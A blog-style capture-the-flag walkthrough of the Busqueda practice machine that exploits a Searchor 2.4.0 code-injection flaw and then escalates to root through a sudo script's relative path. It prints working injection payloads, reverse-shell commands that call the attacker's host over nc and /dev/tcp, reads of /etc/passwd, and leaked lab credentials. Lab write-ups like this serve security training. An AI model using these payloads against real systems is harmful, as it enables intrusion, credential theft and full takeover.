Hey there, Cyber Warriors! π
Guess what? I recently had a wild ride with the Busqueda CTF challenge and I can’t wait to share the adventure with you. This challenge was a real treat, pushing my skills and making me think on my feet. It’s got everything: sneaky vulnerabilities, cool command injections, and that sweet taste of privilege escalation.
Remember though, the hacks we’re talking about here are just for fun and learning. Always be a good netizen and only hack where you have permission.
In this post, we’re going to dive into how I tackled the Busqueda CTF. It’s not the only way, but hey, it worked! Ready to step into the breach? Let’s do this!

First of all we need to add to the β/etc/hostsβ file the name of the machine:
10.10.11.208 searcher.htb searcher
Also we will perform a scan with Nmap:
- sudo nmap -sT -n -Pn -sV -T4 -vv 10.10.11.208
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
We discovered an HTTP Server (Port: 80):
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52
We will see the web page:

Review the code of the page and we can see the technology that is been used from the web page:

<footer class="mt-auto">
<div class="footer-basic">
<hr>
<div class="social"><a href="#"><i class="icon ion-social-instagram"></i></a><a href="#"><i class="icon ion-social-snapchat"></i></a><a href="#"><i class="icon ion-social-twitter"></i></a><a href="#"><i class="icon ion-social-facebook"></i></a></div>
<ul class="list-inline">
<li class="list-inline-item"><a href="#">Home</a></li>
<li class="list-inline-item"><a href="#">Services</a></li>
<li class="list-inline-item"><a href="#">About</a></li>
<li class="list-inline-item"><a href="#">Terms</a></li>
<li class="list-inline-item"><a href="#">Privacy Policy</a></li>
</ul>
<p class="copyright">searcher.htb Β© 2023</p>
<p class="copyright">Powered by <a style="color:black" target='_blank' href="<https://flask.palletsprojects.com>">Flask</a> and <a style="color:black" target='_blank' href="<https://github.com/ArjunSharda/Searchor>">Searchor 2.4.0</a> </p><br>
</div>
<script src="<https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js>"></script>
<script src="<https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/js/bootstrap.bundle.min.js>"></script>
</footer>
The information gives us a great point to start. We know the tools the web page is using and also check the version of the technology. We need to check if there is any vulnerability:
https://github.com/ArjunSharda/Searchor
After research in google we can see the next vulnerability (Arbitrary Code Execution):
https://security.snyk.io/package/pip/searchor/2.4.0
It currently doesnβt exist a PoC about how we can exploit this Vulnerability. We need to try to exploit it by our self. The first action we will do is try to bypass the input, for this we will use Burp Suite and the repeater functionality:

After configure our navigator we need to send an example petition and after that we will modify it to try to do a command injection. The first try, could be like this:
function(''),#

The second try, could be like this. We will try to send various params:
example'),1#

Now we already know we can execute an attack because we view response from the server. We will check some reverse shells, from βhttps://www.revshells.com/β and finally we can use the next reverse shell but before we need to execute netcat:
nc -nlvp 4444
After that we will execute our payload with the reverse shell:
engine=Accuweather&query=example'),__import__('os').system('busybox nc 10.10.16.15 4444 -e /bin/sh')#

Finally we will have a connection with the machine through the netcat. Now we can reach the user flag:

After that we confirm the application is vulnerable also we have a reverse shell communication. Now we will check through burp suite some files (/etc/passwd):
engine=Accuweather&query=example'),__import__('os').system('cat /etc/passwd')#

And we will get the next result where we can see the user βsvcβ:
HTTP/1.1 200 OK
Date: Tue, 16 May 2023 08:29:56 GMT
Server: Werkzeug/2.1.2 Python/3.10.6
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Content-Length: 2001
Connection: close
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
**svc:x:1000:1000:svc:/home/svc:/bin/bash**
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
('<https://www.accuweather.com/en/search-locations?query=example>', 0)
Now, we will list the actual directory to view how many directories and files have:
engine=Accuweather&query=example'),__import__('os').system('ls -la')#

Definitely we found something. We have a git directory:

After looking for something interesting we found the git config file with credentials:

HTTP/1.1 200 OK
Date: Tue, 16 May 2023 11:19:42 GMT
Server: Werkzeug/2.1.2 Python/3.10.6
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Connection: close
Content-Length: 362
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
('https://www.accuweather.com/en/search-locations?query=example', 0)
Also, we will check the β/etc/hostsβ file to discover more information:
engine=Accuweather&query=example'),__import__('os').system('cat /etc/hosts')#

After check the β/etc/hostsβ file we will discover a new domain name:
HTTP/1.1 200 OK
Date: Tue, 16 May 2023 08:32:55 GMT
Server: Werkzeug/2.1.2 Python/3.10.6
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Content-Length: 323
Connection: close
127.0.0.1 localhost
127.0.1.1 busqueda searcher.htb **gitea.searcher.htb**
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
('<https://www.accuweather.com/en/search-locations?query=example>', 0)
Now we need to configure our βhostsβ file. With something like this:

After modifying our file, we will discover a new web app (Gitea):

We already have a credentials to check into the Gitea platform:

Fortunately, we have the right user to sign in:

After reviewing the application I donβt see anything but we are going to check the credentials through the SSH with the user βsvcβ that we have viewed into the file ‘/etc/passwd’:
ssh svc@10.10.11.208 (jh1usoih2bkjaspwe92)

Now we have a SSH connection. We will to enumerate more to try to do βPrivilege Escalationβ. The first thing we going to check is the βsudoβ permissions of the current user:
sudo -l

As we can see we found something interesting, some script for check something with the root privileges. We will try to execute this script we have found:

Apparently this script interacts with the docker service that already is installed in the machine:
systemctl --type=service --state=running

After that we will check the script has been discovered. The first thing we will do is to check which are the docker instances that are now running:
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
We will see two instances. The first one is βGiteaβ and the second one is βMysqlβ:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypointβ¦" 4 months ago Up 4 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.sβ¦" 4 months ago Up 4 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
After that we will use the same script to dump the configuration of the two instances. It is important understand how βdockerβ works and also how it works the functionality we will use (Docker Instance). Now we will check the configuration:
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' 960873171e2e
We can see which are the credential it use to connect with the Mysql service (Gitea instance):
{
"Hostname": "960873171e2e",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": false,
"AttachStderr": false,
"ExposedPorts": {
"22/tcp": {},
"3000/tcp": {}
},
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"USER_UID=115",
"USER_GID=121",
"GITEA__database__DB_TYPE=mysql",
"GITEA__database__HOST=db:3306",
"GITEA__database__NAME=gitea",
"GITEA__database__USER=gitea",
"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"USER=git",
"GITEA_CUSTOM=/data/gitea"
],
"Cmd": [
"/bin/s6-svscan",
"/etc/s6"
],
"Image": "gitea/gitea:latest",
"Volumes": {
"/data": {},
"/etc/localtime": {},
"/etc/timezone": {}
},
"WorkingDir": "",
"Entrypoint": [
"/usr/bin/entrypoint"
],
"OnBuild": null,
"Labels": {
"com.docker.compose.config-hash": "e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515",
"com.docker.compose.container-number": "1",
"com.docker.compose.oneoff": "False",
"com.docker.compose.project": "docker",
"com.docker.compose.project.config_files": "docker-compose.yml",
"com.docker.compose.project.working_dir": "/root/scripts/docker",
"com.docker.compose.service": "server",
"com.docker.compose.version": "1.29.2",
"maintainer": "maintainers@gitea.io",
"org.opencontainers.image.created": "2022-11-24T13:22:00Z",
"org.opencontainers.image.revision": "9bccc60cf51f3b4070f5506b042a3d9a1442c73d",
"org.opencontainers.image.source": "<https://github.com/go-gitea/gitea.git>",
"org.opencontainers.image.url": "<https://github.com/go-gitea/gitea>"
}
}
Also we will check the another instance:
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' 960873171e2e
We can see the credentials of the root for the Mysql service (Mysql instance):
{
"Hostname": "f84a6b33fb5a",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": false,
"AttachStderr": false,
"ExposedPorts": {
"3306/tcp": {},
"33060/tcp": {}
},
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF",
"MYSQL_USER=gitea",
"MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh",
"MYSQL_DATABASE=gitea",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"GOSU_VERSION=1.14",
"MYSQL_MAJOR=8.0",
"MYSQL_VERSION=8.0.31-1.el8",
"MYSQL_SHELL_VERSION=8.0.31-1.el8"
],
"Cmd": [
"mysqld"
],
"Image": "mysql:8",
"Volumes": {
"/var/lib/mysql": {}
},
"WorkingDir": "",
"Entrypoint": [
"docker-entrypoint.sh"
],
"OnBuild": null,
"Labels": {
"com.docker.compose.config-hash": "1b3f25a702c351e42b82c1867f5761829ada67262ed4ab55276e50538c54792b",
"com.docker.compose.container-number": "1",
"com.docker.compose.oneoff": "False",
"com.docker.compose.project": "docker",
"com.docker.compose.project.config_files": "docker-compose.yml",
"com.docker.compose.project.working_dir": "/root/scripts/docker",
"com.docker.compose.service": "db",
"com.docker.compose.version": "1.29.2"
After that also we will check the last functionality of the script. We need to execute it and we will see information about the instances:
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
The result of the execution:
[=] Docker conteainers
{
"/gitea": "running"
}
{
"/mysql_db": "running"
}
[=] Docker port mappings
{
"22/tcp": [
{
"HostIp": "127.0.0.1",
"HostPort": "222"
}
],
"3000/tcp": [
{
"HostIp": "127.0.0.1",
"HostPort": "3000"
}
]
}
[=] Apache webhosts
[+] searcher.htb is up
[+] gitea.searcher.htb is up
[=] PM2 processes
βββββββ¬βββββββββ¬ββββββββββββββ¬ββββββββββ¬ββββββββββ¬βββββββββββ¬βββββββββ¬βββββββ¬ββββββββββββ¬βββββββββββ¬βββββββββββ¬βββββββββββ¬βββββββββββ
β id β name β namespace β version β mode β pid β uptime β βΊ β status β cpu β mem β user β watching β
βββββββΌβββββββββΌββββββββββββββΌββββββββββΌββββββββββΌβββββββββββΌβββββββββΌβββββββΌββββββββββββΌβββββββββββΌβββββββββββΌβββββββββββΌβββββββββββ€
β 0 β app β default β N/A β fork β 1755 β 2m β 0 β online β 0% β 30.1mb β svc β disabled β
βββββββ΄βββββββββ΄ββββββββββββββ΄ββββββββββ΄ββββββββββ΄βββββββββββ΄βββββββββ΄βββββββ΄ββββββββββββ΄βββββββββββ΄βββββββββββ΄βββββββββββ΄βββββββββββ
[+] Done!
Now we have some credentials and also some users. In this point we will check some combinations of them in Gitea:

After checking some combinations we will found the credentials for the βadministratorβ user for Gitea:
administrator:yuiu1hoiu4i5ho1uh
After accessing the platform we will see a new repository which has the soruce code of the script we have discovered with βsudo -lβ:

Now we need to analyse the source code to see some bug or something like that:
#!/bin/bash
import subprocess
import sys
actions = ['full-checkup', 'docker-ps','docker-inspect']
def run_command(arg_list):
r = subprocess.run(arg_list, capture_output=True)
if r.stderr:
output = r.stderr.decode()
else:
output = r.stdout.decode()
return output
def process_action(action):
if action == 'docker-inspect':
try:
_format = sys.argv[2]
if len(_format) == 0:
print(f"Format can't be empty")
exit(1)
container = sys.argv[3]
arg_list = ['docker', 'inspect', '--format', _format, container]
print(run_command(arg_list))
except IndexError:
print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>")
exit(1)
except Exception as e:
print('Something went wrong')
exit(1)
elif action == 'docker-ps':
try:
arg_list = ['docker', 'ps']
print(run_command(arg_list))
except:
print('Something went wrong')
exit(1)
elif action == 'full-checkup':
try:
***arg_list = ['./full-checkup.sh']***
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
if __name__ == '__main__':
try:
action = sys.argv[1]
if action in actions:
process_action(action)
else:
raise IndexError
except IndexError:
print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')
print('')
print(' docker-ps : List running docker containers')
print(' docker-inspect : Inpect a certain docker container')
print(' full-checkup : Run a full system checkup')
print('')
exit(1)
After search some issue in the source code we can see the action βfull-checkupβ execute the script β./full-checkup.shβ with relative path then we need to create a new script with our reverse shell code and execute the script in the same directory:
#!/bin/bash
# set the ip address of your machine
ip='<Your IP Address>'
# set the port number of your listener
port=1234
# create the reverse shell
/bin/bash -i >& /dev/tcp/$ip/$port 0>&1
After creating our reverse shell and execute the script with sudo privileges we will receive a new connection through our netcat server:
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

Now we already have access to the root flag!
This machine is good to start thinking like a pentester because you will need to reuse different βthingsβ to gather more information and finally get the root flag. However, even if it is an easy machine you will need to focus a read correctly everything to get the important βhintsβ.
If you need more information about some subject see the relevant links:
https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-eval-code-execution/
https://docs.docker.com/engine/reference/commandline/inspect/
https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/python-eval-code-execution/